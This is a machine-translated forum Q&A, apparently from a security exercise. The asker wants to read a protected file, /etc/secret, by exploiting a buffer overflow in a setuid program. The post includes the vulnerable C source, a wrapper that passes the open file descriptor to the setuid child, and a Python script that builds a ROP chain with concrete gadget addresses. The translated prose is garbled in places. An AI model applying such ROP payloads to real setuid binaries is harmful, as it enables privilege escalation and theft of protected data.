2016-03-18 6 views
0

Имеет эту программу, он открывает дескриптор файла в/etc/secret, который принадлежит пользователюA и устанавливается только для чтения пользователем.Дескриптор файла в fork(), когда дочерний элемент выполняет execve с установленным битом setuid

-r -------- 1 ПользовательА ПользовательА секрет

Программы вилы Ребенок с помощью execve, который является бинарным с УИПОМ бита Пользователь

-r-стер-х- - 1 userA userB prog

prog имеет переполнение буфера. Стек не исполняется. Мне удалось написать цепочку ROP, которая вызывает read(). Для чтения мне нужен параметр дескриптора, я бы хотел, чтобы он был дескриптором/etc/secret.

Можно ли изменить его, чтобы/etc/secret дескриптор был открыт? С тех пор я получил разрешение, которое имеет смысл, поскольку я называю его userB. Ребенок запускает программу с установленным битом setuid (userA), поэтому, возможно, есть способ вызвать open в стадии выполнения дочернего элемента? Есть идеи?

#include <unistd.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <fcntl.h> 

int main(void) 
{ 
    pid_t pid; 
    int fd; 
    int fd1; 

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read 
    if (fd1 < 0) { 
     perror("open"); 
     return EXIT_FAILURE; 
    } 
    printf("FD:%d\n",fd1); 




    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read() 
    if (fd < 0) {     //I pass the file descriptor as a parameter 
            //Normally a integer 3 
     perror("open"); 
     return EXIT_FAILURE; 
    } 

    if ((pid = fork()) < 0) { 
     perror("fork"); 
     return EXIT_FAILURE; 
    } else if (! pid) { /* child */ 
     dup2(fd, STDIN_FILENO); 
     close(fd); 



     execlp("/opt/prog", "prog", (char *)0); 
     perror("exec"); 

     return EXIT_FAILURE; 
    } else { /* parent */ 
     printf("Parent waiting\n"); 

    } 

    return EXIT_SUCCESS; 
} 

Обновление 1:

прог Исходный код:

#include <stdio.h> 
void main(){ 
    int buf[8]; 
    read(0, buf, 256); 
} 

Обновление 2:

Роп цепь

#!/usr/bin/env python 
import struct 

payload = "A" * 24 
payload += struct.pack("<Q", 0x00000000004005b6) 



payload += "A" * 8 
payload += struct.pack("<Q", 0x0)   
payload += struct.pack("<Q", 0x1)   
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)     # Value for RDI register 
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register 
payload += struct.pack("<Q", 0x8)     # Value for RDX register 
payload += struct.pack("<Q", 0x00000000004005a0) 


payload += "E"*56 
payload += struct.pack("<Q", 0x00000000004003e0) 
f = open("in.txt", "w") 
f.write(payload) 

Обновление 3

Данная программа испытаний./И т.д./секрет принадлежит ПользовательА и установить читать только ПользовательА, я запустить программу, как USERB:

test.c

#include <unistd.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <fcntl.h> 

int main(void) 
{ 
    pid_t pid; 
    int fd; 
    int fd1; 

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read 
    if (fd1 < 0) { 
     perror("open"); 
     return EXIT_FAILURE; 
    } 
    printf("FD:%d\n",fd1); 
} 

Выход:

./test открыт: Permission denied

Так что, я думаю, нет никакого способа обойти его, open() проверяет разрешения на файл перед возвратом дескриптора?

+0

Что такое "rop chain"? –

+0

https://en.wikipedia.org/wiki/Return-oriented_programming –

+0

Поскольку вы не добавляли 'O_CLOEXEC' в' open() 'вызов для'/etc/secret', этот файл открыт в дочернем для чтение. Вам просто нужно указать дескриптор файла в соответствующем месте. Вы можете убедиться, что он всегда является файловым дескриптором 3 в исходной программе, используя 'dup2()' (или 'dup()', но это сложнее) сделать это так. В классических системах POSIX проблем больше не будет; Я не хочу сказать, что Linux не как-то перепроверяет разрешения на дескриптор открытого файла в процессе exec'd, но маловероятно, что он это сделает. Вы используете 'execlp()', а не 'execvp()'. –

ответ

0

Ну, вам нужно закрыть трубку от родителя, не так ли. И почему бы не открыть файл в дочернем процессе.

+0

Хмм, не знаю, что вы имеете в виду. Поскольку UserB у меня нет прав на открытие/etc/secret. Пробовал это.Открывает проверки прав на файл, который открывается. Таким образом, с этим переполнением буфера я могу читать() как userA, но только открывать как userB –

+0

добавлен исходный код для prog –